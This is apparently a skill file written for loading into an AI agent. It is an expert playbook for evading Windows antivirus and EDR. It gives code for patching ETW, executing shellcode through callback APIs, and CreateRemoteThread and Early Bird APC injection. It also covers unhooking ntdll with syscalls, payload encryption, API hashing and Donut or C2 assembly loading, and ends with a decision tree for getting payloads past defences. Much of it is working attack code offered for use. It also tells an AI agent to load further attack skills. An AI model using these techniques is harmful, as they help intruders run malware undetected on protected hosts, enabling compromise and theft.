windows-av-evasion

SKILL: AV/EDR Evasion — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.

0. RELATED ROUTING

Before going deep, consider loading:

• windows-privilege-escalation when privesc tools are blocked by AV
• windows-lateral-movement when lateral movement tools trigger EDR
• active-directory-kerberos-attacks when Rubeus/Mimikatz are detected
• active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive)

Advanced Reference

Also load AMSI_BYPASS_TECHNIQUES.md when you need:

• Detailed AMSI bypass code patterns (memory patching, reflection)
• PowerShell-specific AMSI bypasses
• .NET AMSI bypass techniques

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1. AMSI BYPASS OVERVIEW

AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.

Key AMSI Bypass Categories

Quick AMSI Bypass (One-Liners)

# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2

# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns

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2. ETW BYPASS

ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events.

Patch EtwEventWrite

// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

PowerShell ETW Bypass

# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing

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3. .NET ASSEMBLY LOADING

In-Memory Assembly.Load

byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });

Donut — Convert .NET Assembly to Shellcode

# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main

# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"

# Then load shellcode via any injection technique (§5)

execute-assembly (C2 Framework)

# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast

# Sliver
execute-assembly /path/to/SharpHound.exe -c all

# Havoc
dotnet inline-execute /path/to/tool.exe args

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4. SHELLCODE EXECUTION TECHNIQUES

VirtualAlloc + Callback (Avoids CreateThread)

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);

Callback APIs for shellcode execution: EnumWindows, EnumChildWindows, EnumFonts, EnumDesktops, CertEnumSystemStore, EnumDateFormats — all accept function pointers that can point to shellcode.

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5. PROCESS INJECTION TECHNIQUES

CreateRemoteThread (Basic Pattern)

IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Early Bird APC Injection

// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

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6. UNHOOKING — BYPASS EDR API HOOKS

Direct Syscalls (SysWhispers / HellsGate)

EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly.

Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)

Fresh ntdll Copy

// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)

// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed

Indirect Syscalls

// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code

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7. PAYLOAD ENCRYPTION & OBFUSCATION

Encryption Methods

// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4 (stream cipher, simple implementation)

Sleep Obfuscation

Encrypt shellcode in memory during sleep to avoid memory scanners.

Staged Loading

Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute

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8. SIGNATURE EVASION

String Encryption

// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

API Hashing

// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

Metadata Removal

# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar

# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths

C2 Framework Evasion

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9. AV/EDR EVASION DECISION TREE

Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│   ├── AMSI blocking? → AMSI bypass first (§1)
│   │   ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│   │   ├── Memory patch AmsiScanBuffer
│   │   └── Reflection-based bypass
│   ├── Script Block Logging? → ETW bypass (§2)
│   └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│   ├── Direct execution blocked?
│   │   ├── In-memory Assembly.Load (§3)
│   │   ├── Convert to shellcode with Donut (§3)
│   │   └── Use C2 execute-assembly (§3)
│   └── Still detected?
│       ├── Obfuscate assembly (ConfuserEx)
│       ├── Modify source + recompile
│       └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│   ├── Basic → VirtualAlloc + callback (§4)
│   ├── Need injection → choose technique by OPSEC (§5)
│   │   ├── Low detection needed → module stomping or phantom DLL
│   │   ├── Medium → early bird APC or NtMapViewOfSection
│   │   └── Quick and dirty → CreateRemoteThread
│   └── Memory scanners detect payload?
│       ├── Encrypt payload → decrypt only at execution (§7)
│       └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│   ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│   ├── Fresh ntdll copy from disk/KnownDlls (§6)
│   └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│   ├── Known tool signature → modify + recompile
│   ├── String-based → string encryption / API hashing (§8)
│   ├── PE metadata → strip/modify (§8)
│   └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
    ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
    ├── Use legitimate admin tools (PsExec, WMI, WinRM)
    └── Switch to fileless / memory-only techniques